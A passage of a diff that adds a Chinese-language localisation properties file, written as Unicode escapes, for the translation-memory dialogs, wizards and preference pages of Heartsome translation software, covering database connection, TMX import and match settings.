+dialog.TmDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TmDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TmDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TmDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TmDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TmDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TmDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TmDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TmDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TmDbManagerDialog.tableComposite = \u8bb0\u5fc6\u5e93\u5217\u8868 +dialog.TmDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TmDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TmDbManagerDialog.msg2 = \u5220\u9664\u8be5\u8bb0\u5fc6\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = \u5220\u9664\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TmDbManagerDialog.importBtn = \u5bfc\u5165 TMX(&I) +dialog.TmDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u3002 +dialog.TmDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TmDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TmDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TmDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TmDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TmDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TmDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TmDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TmDbManagerDialog.msg10 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u6ca1\u6709\u6587\u672c\u6bb5\u3002 +dialog.TmDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u8bb0\u5fc6\u5e93 +dialog.TmDbManagerDialog.inputDbNameialogMsg = \u8bb0\u5fc6\u5e93\u540d\u79f0\uff1a +dialog.UpdateTMDialog.title = \u66f4\u65b0\u8bb0\u5fc6\u5e93 +dialog.UpdateTMDialog.lbl = \u8303\u56f4 +dialog.UpdateTMDialog.btnDraft = \u8349\u7a3f +dialog.UpdateTMDialog.btnTranslated = \u5df2\u7ffb\u8bd1 +dialog.UpdateTMDialog.btnApproved = \u5df2\u6279\u51c6 +dialog.UpdateTMDialog.btnSignedOff = \u5df2\u7b7e\u53d1 +dialog.UpdateTMDialog.jobTitle = \u66f4\u65b0\u8bb0\u5fc6\u5e93 +dialog.UpdateTMDialog.jobTask1 = \u6b63\u5728\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff0c\u8bf7\u7a0d\u5019 +dialog.UpdateTMDialog.jobTask2 = \u6b63\u5728\u751f\u6210 TMX \u6587\u4ef6... +dialog.UpdateTMDialog.jobTask3 = \u6b63\u5728\u5bfc\u5165... +dialog.UpdateTMDialog.job.msgTitle = \u63d0\u793a +dialog.UpdateTMDialog.job.msg = \u66f4\u65b0\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u9879\u76ee\u8bbe\u7f6e\u4e86\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.UpdateTMDialog.btnSetting = \u9009\u9879(&O)... + +handler.ConcordanceSearchHandler.msgTitle = \u63d0\u793a +handler.ConcordanceSearchHandler.msg = \u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e\u4e2d\u6dfb\u52a0\u8bb0\u5fc6\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handler.UpdateTMHandler.msgTitle = \u63d0\u793a +handler.UpdateTMHandler.logger1 = [LOG] \u5728\u6587\u4ef6\u5939\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.logger2 = [LOG] \u5728\u9879\u76ee\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6 +handler.UpdateTMHandler.msg1 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u5728\u9009\u4e2d\u7684\u6587\u4ef6\u5939\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg2 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u5728\u9009\u4e2d\u7684\u9879\u76ee\u4e2d\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg3 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u672a\u627e\u5230 XLIFF \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handler.UpdateTMHandler.msg4 = \u65e0\u6cd5\u66f4\u65b0\u8bb0\u5fc6\u5e93\uff1a\u6240\u9009\u62e9\u7684\u6587\u4ef6\u4e0d\u5c5e\u4e8e\u540c\u4e00\u4e2a\u9879\u76ee\u3002\n\u8bf7\u53ea\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u4e2d\u7684\u4e00\u4e2a\u6216\u591a\u4e2a\u6587\u4ef6\uff0c\u7136\u540e\u91cd\u8bd5\u3002 + +newproject.NewProjectTmPage.title = \u8bb0\u5fc6\u5e93 +newproject.NewProjectTmPage.desc = \u8bbe\u7f6e\u8be5\u9879\u76ee\u7684\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u3002 +newproject.NewProjectTmPage.msg1 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +newproject.NewProjectTmPage.addBtn = \u6dfb\u52a0(&A) +newproject.NewProjectTmPage.createBtn = \u521b\u5efa(&C) +newproject.NewProjectTmPage.removeBtn = \u79fb\u9664(&R) +newproject.NewProjectTmPage.importTmxBtn = \u5bfc\u5165 TMX(&I) +newproject.NewProjectTmPage.msgTitle = \u63d0\u793a +newproject.NewProjectTmPage.msg1 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u8bb0\u5fc6\u5e93\u3002 +newproject.NewProjectTmPage.msg2 = \u4ee5\u4e0b\u8bb0\u5fc6\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +newproject.NewProjectTmPage.clmnTitles1 = \u540d\u79f0 +newproject.NewProjectTmPage.clmnTitles2 = \u7c7b\u578b +newproject.NewProjectTmPage.clmnTitles3 = \u5730\u5740 +newproject.NewProjectTmPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +newproject.NewProjectTmPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +newproject.NewProjectTmPage.yes = \u5305\u542b +newproject.NewProjectTmPage.no = \u4e0d\u5305\u542b + +preference.TMDatabasePage.title = \u8bb0\u5fc6\u5e93 +preference.TMDatabasePage.commonGroup = \u5e38\u89c4 +preference.TMDatabasePage.setLabel = \u5728\u8bb0\u5fc6\u5e93\u4e2d\u4e3a\u6587\u672c\u6bb5\u641c\u7d22\u5339\u914d\u65f6\uff1a +preference.TMDatabasePage.btnCaseSensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.TMDatabasePage.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +preference.TMDatabasePage.minLabel = \u6700\u4f4e\u5339\u914d\u7387\uff1a +preference.TMDatabasePage.msg1 = \u8bf7\u8f93\u5165 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u4f5c\u4e3a\u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u3002 +preference.TMDatabasePage.msg2 = \u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u7684\u6709\u6548\u503c\u4e3a 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u3002 +preference.TMDatabasePage.msg3 = \u201c\u6700\u4f4e\u5339\u914d\u7387\u201d\u7684\u6709\u6548\u503c\u4e3a 35~100 \u4e4b\u95f4\u7684\u6574\u6570\u3002 +preference.TMDatabasePage.contextSpi = \u4e0a\u4e0b\u6587\u6587\u672c\u6bb5\u6570\u91cf\uff1a +preference.TMDatabasePage.matchNumberSpi = \u5339\u914d\u663e\u793a\u6570\u91cf\uff1a +preference.TMDatabasePage.tagPenalty = \u6807\u8bb0\u4e0d\u4e00\u81f4\u7f5a\u5206\uff1a +preference.TMDatabasePage.sortGroup = \u5339\u914d\u4f18\u5148\u7ea7 +preference.TMDatabasePage.sortLabel = \u5f53\u5339\u914d\u7387\u76f8\u540c\u65f6\uff0c\u4f18\u5148\u663e\u793a\u5982\u4e0b\u7c7b\u578b\u7684\u8bb0\u5fc6\u5e93\u5339\u914d\uff1a +preference.TMDatabasePage.btnDefaultDBPrecedence = \u9ed8\u8ba4\u8bb0\u5fc6\u5e93 +preference.TMDatabasePage.btnDateReverse = \u6700\u8fd1\u66f4\u65b0 +preference.TMDatabasePage.updateCompGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TMDatabasePage.updateLabel = \u6587\u672c\u6bb5\u5165\u5e93\u548c\u5bfc\u5165 TMX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u6587\u672c\u6bb5\u7684\u5904\u7406\u7b56\u7565\uff1a +preference.TMDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TMDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TMDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TMUpdateDatabasePage.title = \u8bb0\u5fc6\u5e93 +preference.TMUpdateDatabasePage.updateGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TMUpdateDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TMUpdateDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TMUpdateDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TMUpdateDatabasePage.updateLabel = \u6587\u672c\u6bb5\u5165\u5e93\u548c\u5bfc\u5165 TMX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u6587\u672c\u6bb5\u7684\u5904\u7406\u7b56\u7565\uff1a + +projectsetting.ProjectSettingTMPage.title = \u8bb0\u5fc6\u5e93 +projectsetting.ProjectSettingTMPage.msg1 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +projectsetting.ProjectSettingTMPage.addBtn = \u6dfb\u52a0(&A) +projectsetting.ProjectSettingTMPage.createBtn = \u521b\u5efa(&C) +projectsetting.ProjectSettingTMPage.removeBtn = \u79fb\u9664(&R) +projectsetting.ProjectSettingTMPage.importTmxBtn = \u5bfc\u5165 TMX(&I) +projectsetting.ProjectSettingTMPage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingTMPage.msg2 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u8bb0\u5fc6\u5e93\u3002 +projectsetting.ProjectSettingTMPage.msg3 = \u4ee5\u4e0b\u8bb0\u5fc6\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +projectsetting.ProjectSettingTMPage.msg4 = \u8be5\u7248\u672c\u4e0d\u652f\u6301\u6b64\u7c7b\u578b\u7684\u6570\u636e\u5e93\u3002 +projectsetting.ProjectSettingTMPage.clmnTitles1 = \u540d\u79f0 +projectsetting.ProjectSettingTMPage.clmnTitles2 = \u7c7b\u578b +projectsetting.ProjectSettingTMPage.clmnTitles3 = \u5730\u5740 +projectsetting.ProjectSettingTMPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +projectsetting.ProjectSettingTMPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +projectsetting.ProjectSettingTMPage.yes = \u5305\u542b +projectsetting.ProjectSettingTMPage.no = \u4e0d\u5305\u542b + +wizard.ImportTmxPage.title = \u5bfc\u5165 TMX \u6587\u4ef6 +wizard.ImportTmxPage.desc = \u5c06 TMX \u6587\u4ef6\u4e2d\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u5bfc\u5165\u5230\u5f53\u524d\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u4e2d\u3002 +wizard.ImportTmxPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.ImportTmxPage.msg1 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.ImportTmxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.ImportTmxPage.settingBtn = \u9009\u9879(&O)... +wizard.ImportTmxPage.task1 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.ImportTmxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.ImportTmxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.ImportTmxPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.ImportTmxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.ImportTmxWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.NewTmDbBaseInfoPage.title = \u8bb0\u5fc6\u5e93\u4fe1\u606f +wizard.NewTmDbBaseInfoPage.desc = \u8bf7\u8f93\u5165\u8bb0\u5fc6\u5e93\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewTmDbBaseInfoPage.dbGroup1 = \u57fa\u672c\u4fe1\u606f +wizard.NewTmDbBaseInfoPage.lblType = \u7c7b\u578b\uff1a +wizard.NewTmDbBaseInfoPage.dbNameText = \u540d\u79f0\uff1a +wizard.NewTmDbBaseInfoPage.instanceText = \u5b9e\u4f8b\uff1a +wizard.NewTmDbBaseInfoPage.dbGroup = \u4f4d\u7f6e +wizard.NewTmDbBaseInfoPage.hostText = \u670d\u52a1\u5668\uff1a +wizard.NewTmDbBaseInfoPage.portText = \u7aef\u53e3\uff1a +wizard.NewTmDbBaseInfoPage.locationText = \u8def\u5f84\uff1a +wizard.NewTmDbBaseInfoPage.borwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTmDbBaseInfoPage.authorityGroup = \u8eab\u4efd\u9a8c\u8bc1 +wizard.NewTmDbBaseInfoPage.usernameText = \u7528\u6237\u540d\uff1a +wizard.NewTmDbBaseInfoPage.passwordText = \u5bc6\u7801\uff1a +wizard.NewTmDbBaseInfoPage.msg1 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u7684\u7c7b\u578b\u3002\u5982\u679c\u4f7f\u7528 Internal DB \u4f5c\u4e3a\u8bb0\u5fc6\u5e93\uff0c\u5219\u4ec5\u9700\u6307\u5b9a\u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002\n\u5982\u679c\u9009\u62e9\u4f7f\u7528\u5176\u4ed6\u7c7b\u578b\u7684\u8bb0\u5fc6\u5e93\uff0c\u5219\u9700\u8981\u8f93\u5165\u5b89\u88c5\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u5730\u5740\u3001\u7528\u6237\u540d\u53ca\u5bc6\u7801\u3002 +wizard.NewTmDbBaseInfoPage.msg2 = \u8bf7\u8f93\u5165\u8bb0\u5fc6\u5e93\u7684\u540d\u79f0\u3002 +wizard.NewTmDbBaseInfoPage.msg3 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +wizard.NewTmDbBaseInfoPage.msg4 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +wizard.NewTmDbBaseInfoPage.msg5 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +wizard.NewTmDbBaseInfoPage.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +wizard.NewTmDbBaseInfoPage.instancemsg = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +wizard.NewTmDbBaseInfoPage.task1 = \u5c1d\u8bd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93... +wizard.NewTmDbBaseInfoPage.msg7 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3002\n\u8bf7\u786e\u8ba4\u8f93\u5165\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbBaseInfoPage.logger1 = [LOG] \u8bb0\u5fc6\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25\uff01 +wizard.NewTmDbBaseInfoPage.msg8 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbBaseInfoPage.msg9 = \u5982\u4e0b\u8bb0\u5fc6\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizard.NewTmDbBaseInfoPage.task2 = \u6b63\u5728\u521b\u5efa\u8bb0\u5fc6\u5e93... +wizard.NewTmDbBaseInfoPage.msg10 = \u65e0\u6cd5\u521b\u5efa\u8bb0\u5fc6\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +wizard.NewTmDbImportPage.title = \u5bfc\u5165 TMX +wizard.NewTmDbImportPage.desc = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u5230\u8bb0\u5fc6\u5e93\u4e2d\u7684 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.NewTmDbImportPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTmDbImportPage.task1 = \u521b\u5efa\u8bb0\u5fc6\u5e93 +wizard.NewTmDbImportPage.task2 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.NewTmDbImportPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbImportPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.NewTmDbImportPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTmDbImportPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.NewTmDbWizard.title = \u65b0\u5efa\u8bb0\u5fc6\u5e93\u5411\u5bfc +wizard.TmDbManagerImportWizard.title = \u5bfc\u5165 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizard.msg = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.title = \u5411\u8bb0\u5fc6\u5e93\u4e2d\u5bfc\u5165 TMX +wizard.TmDbManagerImportWizardTmxPage.desc = \u5c06 TMX \u6587\u4ef6\u5bfc\u5165\u5230\u6240\u9009\u7684\u8bb0\u5fc6\u5e93\u4e2d\u3002 +wizard.TmDbManagerImportWizardTmxPage.lblTmx = TMX \u6587\u4ef6\uff1a +wizard.TmDbManagerImportWizardTmxPage.tmxFileBorwserBtn = \u6d4f\u89c8(&B)... +wizard.TmDbManagerImportWizardTmxPage.openFile = \u6253\u5f00\u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.lblNewLabel = \u8bb0\u5fc6\u5e93\uff1a +wizard.TmDbManagerImportWizardTmxPage.button = \u9009\u62e9(&S) +wizard.TmDbManagerImportWizardTmxPage.task1 = \u6b63\u5728\u5bfc\u5165 TMX \u6587\u4ef6... +wizard.TmDbManagerImportWizardTmxPage.msg1 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg2 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg3 = \u6570\u636e\u5e93\u5f02\u5e38\uff0c\u65e0\u6cd5\u5bfc\u5165 TMX \u6587\u4ef6\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg4 = \u65e0\u6cd5\u5bfc\u5165\uff1a\u8bfb\u53d6 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u8be5 TMX \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg5 = \u5bfc\u5165 TMX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u548c TMX \u6587\u4ef6\u5747\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u91cd\u65b0\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84/TMX \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg6 = \u5df2\u53d6\u6d88\u5bfc\u5165 TMX\u3002 +wizard.TmDbManagerImportWizardTmxPage.msg8 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165\u7684 TMX \u6587\u4ef6 +wizard.TmDbManagerImportWizardTmxPage.msg9 = \u8bf7\u9009\u62e9\u8981\u5bfc\u5165 TMX 